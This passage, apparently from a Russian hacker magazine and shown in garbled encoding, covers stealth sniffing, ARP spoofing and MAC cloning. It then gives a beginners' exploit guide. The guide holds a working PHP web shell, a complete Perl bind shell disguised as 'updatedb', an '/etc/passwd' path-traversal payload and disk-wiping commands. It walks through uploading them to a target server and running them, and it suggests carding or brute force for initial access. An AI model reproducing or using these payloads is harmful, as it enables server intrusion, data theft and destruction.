íîñòÿìè îáðàùàéñÿ ê äîêóìåíòàöèè íà ñâîþ îïåðàöèîííóþ ñèñòåìó.

ÏÅÐÅÕÂÀÒ ÒÐÀÔÈÊÀ ÍÀ DIAL-UP

×òîáû ñíèôàòü òðàôèê è ãàðàíòèðîâàííî îñòàòüñÿ íåçàìå÷åí-
íûì, äîñòàòî÷íî íàñòðîèòü êàðòó òîëüêî íà ïðèåì ïàêåòîâ, çàïðå-
òèâ ïåðåäà÷ó íà àïïàðàòíîì óðîâíå. Íà êàðòàõ ñ âèòîé ïàðîé äëÿ
ýòîãî íóæíî ïðîñòî ïåðåðåçàòü ïåðåäàþùèå ïðîâîäà (îáû÷íî îíè
îðàíæåâîãî öâåòà). È õîòÿ ñóùåñòâóåò îáîðóäîâàíèå, ïîçâîëÿþ-
ùåå çàñå÷ü ëåâîå ïîäêëþ÷åíèå, ïîäàâëÿþùåìó áîëüøèíñòâó îð-
ãàíèçàöèé îíî íåäîñòóïíî, ïîýòîìó ðåàëüíàÿ óãðîçà ðàçîáëà÷åíèÿ
õàêåðà ìàëà.

Ðàçóìååòñÿ, stealth-ñíèôôèíã ïîääåðæèâàåò òîëüêî ïàññèâíûé ïå-
ðåõâàò, è ïîòîìó â ñåòÿõ ñ
êîììóòàòîðîì ïðèäåòñÿ
äîæèäàòüñÿ ïèêîâîé çàã-
ðóçêè ïîñëåäíåãî, ïðè êî-
òîðîé îí äóáëèðóåò ïîñòó-
ïàþùèå äàííûå íà âñå
ïîðòû, êàê îáû÷íûé õàá.

STEALTH-ÑÍÈÔÈÍÃ

Ëåãêèé âçìàõ íîæíèöàìè ïðåâðàùàåò îáû÷-
íóþ êàðòó â stealth



Íåêîòîðûå îïåðàöèîííûå ñèñòåìû
ñàìîñòîÿòåëüíî îáíàðóæèâàþò ôàêò
çàõâàòà ñâîåãî IP-àäðåñà ïîñòîðîí-
íèì óçëîì, íî òîëüêî â òîì ñëó÷àå,
åñëè çëîóìûøëåííèê èñïîëüçîâàë
øèðîêîâåùàòåëüíóþ ðàññûëêó
(î÷åíü çðÿ). Ê òîìó æå, ïî ìàëîïîíÿò-
íûì äëÿ ìåíÿ ìîòèâàì ÎÑ íå îòïðàâ-
ëÿåò ARP-îòâåò, îòáèðàÿ ïîõèùåííûé
IP-àäðåñ íàçàä, à ïðîñòî îòäåëûâàåò-
ñÿ ìíîãîýòàæíûì ïðåäóïðåæäåíèåì,

ñìûñë êîòîðîãî äî ðÿäîâîãî ïîëüçî-
âàòåëÿ âñå ðàâíî íå äîéäåò.

Ñòàòè÷åñêàÿ ARP-òàáëèöà, ôîð-
ìèðóåìàÿ âðó÷íóþ, â ýòîì ïëàíå
âûãëÿäèò íàìíîãî áîëåå ïðèâëå-
êàòåëüíîé, ïðàâäà, äàæå ïîñëå ïå-
ðåõîäà íà íåå ìíîãèå îïåðàöèîí-
íûå ñèñòåìû ïðîäîëæàþò ïðèíè-
ìàòü ïîäëîæíûå ARP-îòâåòû, áåç-
ðîïîòíî îòäàâàÿ ñåáÿ â ëàïû çëî-
óìûøëåííèêà, è óáåäèòü èõ íå äå-

ëàòü ýòîãî î÷åíü òðóäíî, îñîáåííî
åñëè òû íå ãóðó.

ÊËÎÍÈÐÎÂÀÍÈÅ ÊÀÐÒÛ
Ôèçè÷åñêèé àäðåñ ñåòåâîé êàðòû

îáû÷íî æåñòêî ïðîøèò â ÏÇÓ, è ïî
ñòàíäàðòó íèêàêîé MAC íå ìîæåò èñ-
ïîëüçîâàòüñÿ äâàæäû. Òåì íå ìåíåå,
âñÿêîå ÏÇÓ ìîæíî ïåðåïðîãðàììèðî-
âàòü (îñîáåííî, åñëè ýòî ïåðåïðîãðàì-
ìèðóåìîå ÏÇÓ òèïà EEPROM, êàêèì íà
íîâûõ êàðòàõ îíî îáû÷íî è áûâàåò).
Òàêæå íåêîòîðûå êàðòû ïîçâîëÿþò èç-
ìåíÿòü ñâîé MAC âïîëíå ëåãàëüíûìè
ñðåäñòâàìè (íàïðèìåð, âñå òîé æå ìíî-
ãîñòðàäàëüíîé ifconfig). Íàêîíåö, çàãî-
ëîâîê Ethernet-ïàêåòà ôîðìèðóåòñÿ
ïðîãðàììíûìè, à íå àïïàðàòíûìè ñðåä-
ñòâàìè, ïîýòîìó íå÷åñòíûé äðàéâåð
ìîæåò çàïðîñòî ïðîïèñàòü ÷óæîé MAC!

Êëîíèðîâàíèå MAC-àäðåñà ïîçâîëÿ-
åò ïåðåõâàòûâàòü òðàôèê äàæå áåç
ïðèñâîåíèÿ ÷óæîãî IP è áåç ïåðåâîäà
êàðòû â íåðàçáîð÷èâûé ðåæèì.

ÎÁÍÀÐÓÆÅÍÈß ÊËÎÍÈÐÎÂÀ-
ÍÈß È ÏÐÎÒÈÂÎÑÒÎßÍÈÅ ÅÌÓ

Ôàêò êëîíèðîâàíèÿ (êîòîðûì, êñòà-
òè, ëþáÿò áàëîâàòüñÿ ïîëüçîâàòåëè ïî-
ïóëÿðíûõ íûíå äîìàøíèõ ñåòåé) ëåãêî
îáíàðóæèòü ñ ïîìîùüþ ïðîòîêîëà
RARP (Reverse ARP), ïîçâîëÿþùåãî
îïðåäåëèòü, êàêîé IP-àäðåñ ñîîòâåò-
ñòâóåò äàííîìó MAC. Êàæäîìó MAC
äîëæåí ñîîòâåòñòâîâàòü òîëüêî îäèí
IP-àäðåñ, â ïðîòèâíîì ñëó÷àå çäåñü
÷òî-òî íå òàê. Åñòåñòâåííî, åñëè àòàêó-
þùèé íå òîëüêî êëîíèðóåò MAC, íî è
çàõâàòèò IP, ýòîò ïðèåì íå ñðàáîòàåò.

Êà÷åñòâåííûå ìàðøðóòèçàòîðû ïîç-
âîëÿþò áàéíäèòü (îò àíãë. bind � ñâÿ-
çûâàíèå) ïîðòû, çàêðåïëÿÿ çà êàæ-
äûì "ïðîâîäîì" ñòðîãî îïðåäåëåííûé
MAC, îáåññìûñëèâàÿ òåì ñàìûì åãî
êëîíèðîâàíèå.

ÇÀÊËÞ×ÅÍÈÅ
Ðàçðàáîòêà ñîáñòâåííîãî ñíèôåðà

� ýòî õîðîøèé ñïîñîá ïîóïðàæíÿòüñÿ â
ïðîãðàììèðîâàíèè, ïîêîïàòüñÿ â íåä-
ðàõ îïåðàöèîííîé ñèñòåìû è èçó÷èòü
áîëüøîå êîëè÷åñòâî ñåòåâûõ ïðîòîêî-
ëîâ. Êîðî÷å ãîâîðÿ, ñîâìåñòèòü ïðèÿò-
íîå ñ ïîëåçíûì. Ìîæíî, êîíå÷íî, èñ-
ïîëüçîâàòü è ãîòîâûå óòèëèòû, íî ýòî
âñå ðàâíî, ÷òî ñòðåëÿòü â êàáàíà, ïðè-
âÿçàííîãî ê äåðåâó � íè àçàðòà, íè
óäîâëåòâîðåíèÿ. E
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òîÿòåëüíî
îáíàðóæè-
âàþò ôàêò
çàõâàòà
ñâîåãî IP-
àäðåñà ïîñ-
òîðîííèì
óçëîì.

Íèêàêîé àâ-
òîðèçàöèè
äëÿ îáíîâ-
ëåíèÿ ARP-
òàáëèöû íå
òðåáóåòñÿ!

Ïåðåõâàò ïîäëîæíîãî ARP-çàïðîñà

Íèêèòà Êèñëèöèí, ðåäàêòîð ðóáðèêè "Âçëîì" æóðíàëà "Õàêåð":

«×ðåçâû÷àéíî ýôôåêòèâíûì ìåòîäîì âçëîìà êîìïüþòåðíûõ ñåòåé
ÿâëÿåòñÿ ñíèôèíã äàííûõ. ×òî è ãîâîðèòü, çà÷àñòóþ áûâàåò êóäà
ïðîùå îòñíèôàòü ïàðîëü ê êàêîìó-òî ðåñóðñó, íåæåëè ëîìàòü ñèñ-
òåìó "ñ ãîëîâû". Îäíàêî ïðîøëî âðåìÿ, êîãäà, çàïóñòèâ ïðîñòåé-
øèé ïàêåòíûé ñíèôåð, ëþáîé æåëàþùèé ïîëó÷àåò äîñòóï êî âñåì
äàííûì, ïåðåäàâàåìûì ïî ëîêàëêå. Áîëüøèíñòâî êîìïüþòåðíûõ
ñèñòåì ñòðîÿòñÿ ñåé÷àñ íà áàçå êîììóòèðóåìûõ ñåòåé, â êîòîðûõ
ïàêåòíûå ñíèôåðû áåññèëüíû. Òóò-òî íà ïîìîùü è ïðèøëà àòàêà
Man-In-the-Middle è ARP-ñïóôèíã êàê ÷àñòíûé åå ñëó÷àé. Îò ýòîãî
óæå íèêóäà íå äåòüñÿ, ïîýòîìó â î÷åðåäíîé ðàç ñïåøó íàïîìíèòü
ñåòåâûì àäìèíèñòðàòîðàì î öåëåñîîáðàçíîñòè èñïîëüçîâàíèÿ çà-
ùèùåííûõ ñîåäèíåíèé, â êîòîðûõ ïîòîêè èíôîðìàöèè êðèïòóþòñÿ
ñòîéêèì àëãîðèòìîì è ïåðåäàâàåìàÿ èíôîðìàöèÿ íåäîñòóïíà ñåòå-
âûì çëîäåÿì».

ÌÍÅÍÈÅ ÝÊÑÏÅÐÒÀ

ETTERCAP
Ìîùíûé ñíèôåð, ðåàëèçóþ-
ùèé àòàêó Man-In-Middle. Àá-
ñîëþòíî áåñïëàòåí. Ðàñïðîñò-
ðàíÿåòñÿ â èñõîäíûõ òåêñòàõ.
Îñíîâíîå îðóæèå õàêåðà.
http://ettercap.sourceforge.net.

ARPOISON
Óòèëèòà äëÿ ãåíåðàöèè è îòï-
ðàâêè ïîäëîæíûõ ARP-ïàêå-
òîâ ñ çàäàííûìè MAC- è IP-àäðåñàìè. Íàäåæíîå ñðåäñòâî áîðüáû ñ
èíòåëëåêòóàëüíûìè õàáàìè. Áåñïëàòíà. Ðàñïðîñòðàíÿåòñÿ â èñõîä-
íûõ òåêñòàõ http://arpoison. ssourceforge.net/.

ARPMONIROR
Ïðîãðàììà äëÿ ñëåæåíèÿ çà ARP-çàïðîñàìè/îòâåòàìè. Â îñíîâíîì
èñïîëüçóåòñÿ àäìèíèñòðàòîðàìè äëÿ ìîíèòîðèíãà ñåòè è âûÿâëå-
íèÿ ëþäåé ñ ëèøíèìè ÿéöàìè. Áåñïëàòíà. http://planeta.terra.
com.br/informatica/gleicon/code/index.html.

REMOTE AARPWATCH
Àâòîìàòèçèðîâàííîå ñðåäñòâî âûÿâëåíèÿ àêòèâíîãî ïåðåõâàòà.
Ñëåäèò çà öåëîñòíîñòüþ ARP-òàáëèö âñåõ ÷ëåíîâ ñåòè è îïåðàòèâ-
íî óâåäîìëÿåò àäìèíèñòðàòîðà î ïîäîçðèòåëüíûõ èçìåíåíèÿõ.
Áåñïëàòíà. http://www.raccoon.kiev.ua/projects/remarp/.

FAQ
Áîëüøîé FAQ ïî ñíèôåðàì íà àíãëèéñêîì ÿçûêå. Òàê æå, êàê è
Ethernet òàê æå çàòðàãèâàåò êàáåëüíûå ìîäåìû è íåêîòîðûå äðóãèå
ñðåäñòâà ñâÿçè. www.robertgraham.com/pubs/sniffing-ffaq.html.

ÏÎËÅÇÍÛÅ ÑÑÛËÊÈ

Ãëàâíîå ìåíþ ïðîãðàììû ETTERCAP



Hi-Tech (hi-tech@nsd.ru, http://nsd.ru)

Î ÷åíü ÷àñòî òðåáóåòñÿ äîáûòü âàæíóþ èíôîðìàöèþ, óïðÿòàííóþ íà âðàæåñêîì ñåðâåðå. Â áîëüøèíñòâå ñëó÷àåâ ýòà
èíôîðìàöèÿ ðÿäîâîìó ïîëüçîâàòåëþ ñèñòåìû íåäîñòóïíà, ïîýòîìó âñòàåò âîïðîñ î ïîâûøåíèè ïðàâ â ñèñòåìå,

ðàçðåøàåòñÿ êîòîðûé ïðè ïîìîùè ñïåöèàëüíûõ ïðîãðàìì - ýêñïëîèòîâ.

XPLOITS. HOW TO?
ÝÊÑÏËÎÈÒÛ ÏÎÄ *NIX ÄËß ÍÀ×ÈÍÀÞÙÈÕ

ÝÒÎ ×ÒÎ ÇÀ
ÏÎÊÅÌÎÍ?

Ýêñïëîèòû - ñïåöè-
àëüíûå ïðîãðàììû, èñ-
ïîëüçóþùèå óÿçâèìîñ-

òè â òîì èëè èíîì êîìïîíåíòå ñèñòå-
ìû èëè ñåðâèñå ñ öåëüþ ïîâûøåíèÿ
èëè ïîëó÷åíèÿ ïðàâ â ñèñòåìå ëèáî
äëÿ äåñòðóêòèâíûõ öåëåé, íàïðèìåð,
DOS-àòàê. Äëÿ ïîèñêà óÿçâèìîñòåé
÷àùå âñåãî áåðóòñÿ ñåðâèñû èëè êîì-
ïîíåíòû ñèñòåìû, çàïóùåííûå ñ âû-
ñîêèìè ïðèâèëåãèÿìè, èëè ïðèëîæå-
íèÿ, ïðèíàäëåæàùèå ðóòó, ó êîòîðûõ
óñòàíîâëåí áèò SUID/SGID. Ïðàêòè÷åñ-
êè âñå ïðîãðàììíûå ýêñïëîèòû èñ-
ïîëüçóþò óÿçâèìîñòè êëàññà buffer
overflow. Êàê òû, íàâåðíîå, óæå äîãà-
äàëñÿ, âçëîìùèê, à, òî÷íåå, shell-êîä
(íàáîð ìàøèííûõ èíñòðóêöèé, êîòî-
ðûé çàïîëíÿåò ñîáîé ïåðåïîëíåííûé
áóôåð), âñòðîåííûé â ýêñïëîèò, ïîëó-
÷èò ïðàâà äûðÿâîãî ïðèëîæåíèÿ è
ïðåäîñòàâèò èõ àòàêóþùåìó, íàïðè-
ìåð, â âèäå îòêðûòîãî íà êàêîì-ëèáî
ïîðòó shell�à ñ ïîâûøåííûìè ïðàâàìè.
Íåìíîãî ïî-äðóãîìó îáñòîÿò äåëà ñ
DoS-ýêñïëîèòàìè, shell-êîä êîòîðûõ
ïðåäñòàâëÿåò èç ñåáÿ ñâîåãî ðîäà
"êðàêîçÿáðó", íå èìåþùóþ íèêàêîãî
ëåêñè÷åñêîãî çíà÷åíèÿ, è ïîýòîìó
ïðèëîæåíèå, ïûòàÿñü ïîíÿòü, ÷òî æå
ýòî òàêîå, ñâàëèâàåòñÿ â êîðó (core),
èëè, ãîâîðÿ ïðîñòûì ÿçûêîì, ãëþ÷èò è
çàâèñàåò. Åñëè òû íå çíàåøü, ÷òî çíà-
÷èò âûïàäàòü â core, ïðèâåäó àíàëî-
ãè÷íûé ïðèìåð èç Âèíäû, ñ êîòîðûì
òû óæ òî÷íî íå ðàç ñòàëêèâàëñÿ: ïðîã-
ðàììà çàâèñàåò è âûäàåò îêîøêî
"programm.exe � Îøèáêà ïðèëîæå-
íèÿ" ïðèìåðíî òàêîãî ñîäåðæàíèÿ:
"Èíñòðóêöèÿ ïî àäðåñó 0x12121212 îá-
ðàòèëàñü ê ïàìÿòè ïî àäðåñó
0x13131313. Ïàìÿòü íå ìîæåò áûòü
'read'". Îòëè÷èå ëèøü â òîì, ÷òî *nix-
ñèñòåìû ïèøóò íà äèñê ñâîåîáðàçíûé
äàìï ïàìÿòè, ïî êîòîðîìó ìîæíî îï-
ðåäåëèòü ïðè÷èíó îøèáêè.

ÎÒ×ÅÃÎ ÆÅ ÏÐÎÈÑÕÎÄÈÒ
ÏÅÐÅÏÎËÍÅÍÈÅ?

Ñóùåñòâóåò ìíîæåñòâî ðàçëè÷íûõ
òèïîâ ïåðåïîëíåíèÿ áóôåðà, ñîîòâåò-
ñòâåííî, è ïðè÷èí ñòîëüêî æå. ×òîáû

íàãëÿäíî ïîêàçàòü òåáå, êàêèì îáðà-
çîì ïîëó÷àþòñÿ ïåðåïîëíåíèÿ, ÿ ïðè-
âåäó ïðèìåð.

#include <stdio.h>
int main()
{

char buff[10] = {0}; //êàê òû âèäèøü, â
ñàìîì íà÷àëå âñå ýëåìåíòû.

// âûäåëåííîãî ïîä ïåðåìåííóþ áóôåðà
ïðåäñòàâëÿþò 10 íóëåé.

// âèäíî, ÷òî èõ ìîæåò áûòü ìàêñèìóì
10! Ò.å. ïðîãðàììèñò ðàññ÷èòûâàåò, ÷òî 

// ìû ââåäåì îáÿçàòåëüíî äåñÿòèçíà÷-
íîå ÷èñëî.

printf("Enter your 10-digit number"); //
Ââîäèì ÷èñëî�

scanf(buff, "%s"); // À âîò ìû è äîáðà-
ëèñü äî áàãà, ôóíêöèÿ scanf â äàííîì 

// ñëó÷àå íå ïðîâåðÿåò äëèíó ââåäåííî-
ãî íàìè ÷èñëà. Ïîäóìàé, êóäà äåíåòñÿ

// åùå 10 áàéò èíôîðìàöèè, åñëè ìû
ââåäåì íå 10, à 20 çíàêîâ?

// Ïðàâèëüíî, âûéäåò çà ïðåäåëû áóôå-
ðà.

}

Âîò êàê âñå ëåãêî, à åñëè ïîñëå 10-ãî
ñèìâîëà âñòàâèòü shell-êîä? Áîëåå
ïîäðîáíî îáî âñåì ýòîì ÷èòàé â Ñïå-
öå #08.04(45). Óÿçâèìîñòè â ïðîã-
ðàììå âîçíèêàþò èç-çà íåâíèìàòåëü-
íîñòè è õàëàòíîñòè ïðîãðàììèñòîâ.
Òàêæå â ýòîì åñòü ÷àñòü âèíû ñàìîé
àðõèòåêòóðû x86. Â áëèæàéøåì âðå-
ìåíè êîìïàíèÿ Intel ïëàíèðóåò âûïóñ-
òèòü ïðîöåññîð ñ àïïàðàòíîé çàùè-
òîé îò óÿçâèìîñòåé ïåðåïîëíåíèÿ áó-
ôåðà. Íàñêîëüêî îíà áóäåò ýôôåê-
òèâíà, ìû ñìîæåì óáåäèòüñÿ â áëè-
æàéøåì áóäóùåì, à ïîêà ýêñïëîèòû,
èñïîëüçóþùèå ýòè óÿçâèìîñòè, æè-
âóò è ïðîöâåòàþò.

ÝÊÑÏËÎÈÒÛ - ÊÀÊÈÅ ÎÍÈ?
Ýêñïëîèòû ðàçäåëÿþò íà óäàëåí-

íûå (remote) è ëîêàëüíûå (local). Çà-
ìåòü: "óäàëåííûå" (remote) íèêàêèì
ìåñòîì íå ñâÿçàíû ñ "óäàëåííûìè"
(erased, removed, deleted). Óäàëåííûå
ñïëîèòû ïîçâîëÿþò èñïîëüçîâàòü áàã
â ñåðâèñå, äîñòóïíîì èçâíå, ê êîòîðî-
ìó ìîæíî ïîäñîåäèíèòüñÿ ñ äðóãîé
ìàøèíû ïîñðåäñòâîì ëîêàëüíîé ñåòè

èëè èíòåðíåòà. Ê òàêèì ñåðâèñàì îò-
íîñèòñÿ, íàïðèìåð, telnetd, ftpd, sshd,
pop3d. ×àùå âñåãî ÷åðâè, íàïèñàííûå
äëÿ ÎÑ *nix, ðàñïðîñòðàíÿþòñÿ èìåí-
íî òàêèì ñïîñîáîì. Òî åñòü îíè ñîäåð-
æàò âñòðîåííûé ýêñïëîèò äëÿ âíåø-
íåãî ñåðâèñà. Åñëè âîçâðàòèòüñÿ ê
Windows, òî ñàìûì ÿðêèì àíàëîãîì
ÿâëÿåòñÿ óÿçâèìîñòü â RPC DCOM
îïåðàöèîííûõ ñèñòåì Windows
2000/NT/XP/2003 è ÷åðâü msblast.
Êñòàòè, ñîîáùåíèÿ î òîì, ÷òî "êîìïü-
þòåð áóäåò ïåðåçàãðóæåí ÷åðåç xx ñå-
êóíä", - ðåçóëüòàò êðèâîãî ïåðåïîëíå-
íèÿ áóôåðà, âûçâàííîãî íåïðîäóìàí-
íûì àëãîðèòìîì äåéñòâèé ÷åðâÿ÷êà.
Ýòè ýêñïëîèòû çà÷àñòóþ áîëåå æåëàí-
íûå äëÿ õàêåðà, ïîòîìó ÷òî äëÿ èõ èñ-
ïîëüçîâàíèÿ ÷àùå âñåãî íå òðåáóåòñÿ
èìåòü íèêàêîãî äîñòóïà ê àòàêóåìîé
ìàøèíå. Ñîâåðøåííî äðóãàÿ ñèòóàöèÿ
ñ ëîêàëüíûìè ýêñïëîèòàìè: îíè ïîç-
âîëÿþò èñïîëüçîâàòü áðåøü â ïðèëî-
æåíèè èëè â êîìïîíåíòå îïåðàöèîí-
íîé ñèñòåìû, íå èìåþùåì ïðÿìîãî
äîñòóïà ê èíòåðíåòó. ßðêèì ïðèìåðîì
ýòîãî ìîãóò ñëóæèòü ÿäåðíûå áàãè -
ptrace è do(brk).

Òû çíàåøü îá óÿçâèìîñòÿõ â web-
ñêðèïòàõ, êîòîðûå ìîæíî èñïîëüçî-
âàòü ïðÿìî èç àäðåñíîé ñòðîêè áðàó-
çåðà, íàïðèìåð
"http://www.vulnhost.hu/vulnscript.php
?page=../../../../etc/passwd"? Òàê âîò,
ïîñëå òîãî êàê òû âñå ýòî íàáðàë, êàê
äóìàåøü, ÷åì ýòî ñòàëî? Ýêñïëîèòîì!
Òî åñòü èñõîäÿ èç îïðåäåëåíèÿ
ýêñïëîèòîì äëÿ ñêðèïòà
"vulnscript.ïõï" ÿâëÿåòñÿ
"?page=../../../../etc/passwd".

Ïîìèìî òàêîãî äåëåíèÿ ýêñïëîèòû
ìîæíî ðàçáèòü è íà êëàññû ïî èõ
äåéñòâèÿì.

CLASS�ÍÛÅ ÝÊÑÏËÎÈÒÛ
Íåêîððåêòíî ãîâîðèòü, ÷òî ýêñïëî-

èòû ïðèâîäÿò ê òîìó-òî è òîìó-òî. Íà
ñàìîì äåëå, îíè ïðîñòî ïåðåïîëíÿþò
áóôåð, à êàêèå-ëèáî äåéñòâèÿ âûïîë-
íÿåò shell-êîä. Èìåííî îò ñîäåðæàíèÿ
shell-êîäà çàâèñèò òî, ÷òî ïðîèçîéäåò
ïðè óñïåøíîì âûïîëíåíèè àòàêè: îòê-
ðîåòñÿ ïîðò, âûïîëíèòñÿ êîìàíäà èëè
ñåðâåð óéäåò â äàóí.
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Òåîðåòè÷åñ-
êè â ñåòè
íåò íè îä-
íîãî íåóÿç-
âèìîãî ñåð-
âåðà. Âåñü
âîïðîñ çàê-
ëþ÷àåòñÿ
òîëüêî â
óìåíèè.

Åñëè èçíà-
÷àëüíî íåò
íèêàêîãî
äîñòóïà ê
õîñòèíãó,
ìîæíî
ïðîñòî êó-
ïèòü íà íåì
àêêàóíò íà
ìåñÿö. À
åñëè äåíåã
ñîâñåì íåò,
ìîæíî ïîï-
ðîáîâàòü
çàêàðäèòü
èëè ïîáðó-
òàòü :).
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Îòêðîâåííî ãîâîðÿ, êëàññîâ
ýêñïëîèòîâ ìíîãî. ß ïîçíàêîìëþ òå-
áÿ ñ äâóìÿ.

DOS SHELLCODE XPLOITS
×àùå âñåãî, ýòè ýêñïëîèòû óäà-

ëåííîãî äåéñòâèÿ. Öåëüþ, êîòîðóþ
ïðåñëåäóåò õàêåð, íàòðàâëèâàÿ òàêóþ
øòóêó íà óÿçâèìûé ñåðâåð, ÿâëÿåòñÿ
âûâåäåíèå èç ñòðîÿ àòàêóåìîãî ñåð-
âèñà èëè âñåé îïåðàöèîííîé ñèñòåìû
(äà-äà, áûâàþò òàêèå ñëó÷àè, êîãäà ïî-
âåøåííûé äåìîí çàáèðàåò ñ ñîáîé
âñþ ÎÑ). Ñ êàæäûì äíåì ïðîèñõîäèò
âñå áîëüøå òàêèõ àòàê. Ïî÷åìó? Ïîòî-
ìó ÷òî òåì, êòî çàêàçûâàåò ýòè àòàêè,
íå íóæíà èíôîðìàöèÿ ñ ñåðâåðà.
Öåëü òàêèõ àòàê, êàê ïðàâèëî, áàíàëü-
íîå ëèøåíèå êîíêóðåíòà äååñïîñîá-
íîñòè. Ñîãëàñèñü, àòàêîâàòü óÿçâèìûé
ñåðâèñ, ïîäâåðæåííûé DOS-àòàêå,
ïðîùå, ÷åì íàòðàâëèâàòü öåëóþ àð-
ìèþ êîìïüþòåðîâ íà ïðîèçâåäåíèå
ICMP- è ïîäîáíûõ åé àòàê, äåéñòâóþ-
ùèõ íå ïðîðàáîòàííûì ïðèíöèïîì, à
êîëè÷åñòâîì. Âòîðîé ïðè÷èíîé ÿâëÿ-
åòñÿ òî, ÷òî èíîãäà, äëÿ òîãî ÷òîáû íà-
ñîëèòü âðàãó, äîñòàòî÷íî DOS-àòàêè, à
íå rm �rf / (ìíå áîëüøå íðàâèòñÿ cat
/dev/urandom > /dev/hda - ïðèì. Àâà-
ëàí÷à), à óÿçâèìîñòåé, ïîçâîëÿþùèõ
ïðîèçâåñòè óáîéíóþ àòàêó, ãîðàçäî
áîëüøå, ÷åì òåõ, êîòîðûå ïîçâîëÿþò
ïîëó÷èòü äîñòóï. Ýòî ïðîèñõîäèò ïî-
òîìó, ÷òî ÷àñòî ïåðåïîëíèòü áóôåð
áûâàåò äîñòàòî÷íî ëåãêî, à âïàðèòü
shell-êîä òàê, ÷òîáû îí âûïîëíèëñÿ

êàê çàäóìàíî, î÷åíü ñëîæíî, à ïîðîé
äàæå íåðåàëüíî, òàê êàê â äûðÿâîé
ïðîãðàììå âñå-òàêè ñóùåñòâóåò êàêàÿ-
òî âðåäíàÿ ïðîâåðêà íà âøèâîñòü.

REMOTE SHELL
SHELLCODE XPLOITS

Îá ýòîì êëàññå ýêñïëîèòîâ ÿ òîæå
óæå óñïåë óïîìÿíóòü. Ïîñëå óñïåø-
íîé àòàêè íà óÿçâèìóþ ìàøèíó îíè
îòêðûâàþò íà íåé ïîðò, ê êîòîðîìó
ìîæíî ïîäêîííåêòèòüñÿ è ïîëó÷èòü
äîëãîæäàííûé shell ñ ðóòîâûìè ïðà-
âàìè. Ïðè ýòîì â áîëüøèíñòâå ñëó÷à-
åâ òåáå íå ïðèäåòñÿ ïîëüçîâàòüñÿ
âñåìè óäîáñòâàìè /bin/bash: òû áó-
äåøü þçàòü ñòàíäàðòíûé /bin/sh, òàê
êàê èìåííî åãî ÷àùå âñåãî âûçûâàþò
shell-êîäû è èìåííî îí åñòü ïðàêòè-
÷åñêè íà âñåõ ìàøèíàõ ñ *nix-ñèñòåìà-
ìè íà áîðòó. Íî íå äóìàé, ÷òî ÷åðåç
ýòîò ïîðò âñåãäà ìîæíî õîäèòü â ñèñ-
òåìó. Îí ëåãêî óáèâàåòñÿ àäìèíèñòðà-
òîðîì, ñìûâàåòñÿ ðåáóòîì èëè ïðîñòî
ñàì ïî ñåáå îòïàäàåò ïîñëå òîãî, êàê
îò íåãî îòêëþ÷èøüñÿ. 

ÊÒÎ ÁÛË ÍÈÊÅÌ,
ÒÎÒ ÑÒÀÍÅÒ ÂÑÅÌ

Äëÿ èñïîëíåíèÿ ëîêàëüíîãî
ýêñïëîèòà òðåáóåòñÿ õîòÿ áû shell ñ
ïðàâàìè nobody. À êàê åãî ìîæíî
ïîëó÷èòü? Âîò îá ýòîì ÿ ñåé÷àñ è
ðàññêàæó.

Äëÿ íà÷àëà ïîíàäîáèòñÿ äîñòóï ê
îäíîìó èç ñàéòîâ, êîòîðûå õîñòÿòñÿ
íà ñåðâåðå. Ýòî ìîæåò áûòü FTP èëè

Ïðèìåð èñïîëüçîâàíèÿ ëîêàëüíîãî ýêñïëîèòà

Ïðèìåð èñïîëüçîâàíèÿ óäàëåííîãî ýêñïëîèòà

»



äûðÿâûé web-ñêðèïò, ïîçâîëÿþùèé
âûïîëíÿòü êîìàíäû (ñ ïîìîùüþ íå-
ãî ìû íå ñìîæåì ïîëíîöåííî çàïóñ-
òèòü ýêñïëîèò, íî ñìîæåì çàëèòü
êîå-÷òî). Åñëè FTP åñòü, à êîìàíäû
ìû âûïîëíÿòü íå ìîæåì, íàäî èñïðà-
âèòü ýòó îïëîøíîñòü, çàëèâ íà ñåð-
âåð (ñåðâåð äîëæåí ïîääåðæèâàòü
PHP) òàêîé ñêðèïò:

<? system($cmd) ?>

Òàêàÿ âîò «ìàëþòêà» óìååò âûïîë-
íÿòü êîìàíäû ÷åðåç çàïðîñ: www.tar-
get.com/cmd.php?cmd=êîìàíäà.

Òåïåðü íàì ïîòðåáóåòñÿ realtime-
äîñòóï ê /bin/sh, êîòîðûé íàì ïðåäîñ-
òàâèò íèæåðàñïîëîæåííûé ñêðèïò:

#!/usr/bin/perl
$port = 31337; 
exit if fork;
$0 = "updatedb" . " " x100;
$SIG{CHLD} = 'IGNORE';
use Socket;
socket(S, PF_INET, SOCK_STREAM, 0);
setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
bind(S, sockaddr_in($port, INADDR_ANY));
listen(S, 50);
while(1){
accept(X, S);
unless(fork)
{ open STDIN, "<&X";
open STDOUT, ">&X";
open STDERR, ">&X";
close X;
exec("/bin/sh");
} close X;}

Ïîñëå âûïîëíåíèÿ îí îòêðîåò ïîðò ñ
shell�îì nobody, à ïîêà ñîõðàíèì åãî
êàê bind.txt è çàëüåì êóäà-íèáóäü íà
narod.ru. Â ñëó÷àå ñ narod.ru íåò íåîá-
õîäèìîñòè íàçûâàòü åãî *.txt, ìîæíî
ñðàçó îïðåäåëèòü åãî êàê bind.pl, òàê
êàê íà Íàðîäå íåò ïîääåðæêè perl è
ñêðèïò ñîëüåòñÿ òàêèì, êàêèì îí äîë-
æåí áûòü. À åñëè íà ñåðâåðå åñòü ïîä-
äåðæêà perl, îí çàãðóçèòñÿ â âèäå
html-ñòðàíèöû, ñ ðåçóëüòàòàìè åãî âû-
ïîëíåíèÿ. Íî .txt îí è â Àôðèêå .txt.
Ïîýòîìó ëó÷øå íàçîâåì åãî òàê :).
Ýêñïëîèò çàëèâàåì òóäà æå.

Òåïåðü, êîãäà âñå ãîòîâî, çàëèâàåì
bind.txt è exploit.c ÷åðåç cmd.php êî-
ìàíäîé wget èëè fetch äëÿ Linux èëè
FreeBSD ñîîòâåòñòâåííî. Ìîæíî çà-
ëèòü è ñ ïîìîùüþ ñöåíàðèÿ FTP (óæ
ftp åñòü âåçäå). Çàëèâàòü bind.txt è
ýêñïëîèò æåëàòåëüíî â /tmp. Òåïåðü
íàì ïîíàäîáèòñÿ çàïóñòèòü bind.txt,
äëÿ ÷åãî âûïîëíèì ÷åðåç cmd.php òà-
êóþ êîìàíäó: www.target.com/
cmd.php?perl%20/tmp/bind.txt. Ýòèì
ìû çàïóñòèì ñêðèïò bind.txt, êîòîðûé
îòêðîåò äëÿ ïðîñëóøèâàíèÿ ïîðò
31337, ãäå áóäåò âèñåòü shell ñ ïðàâà-
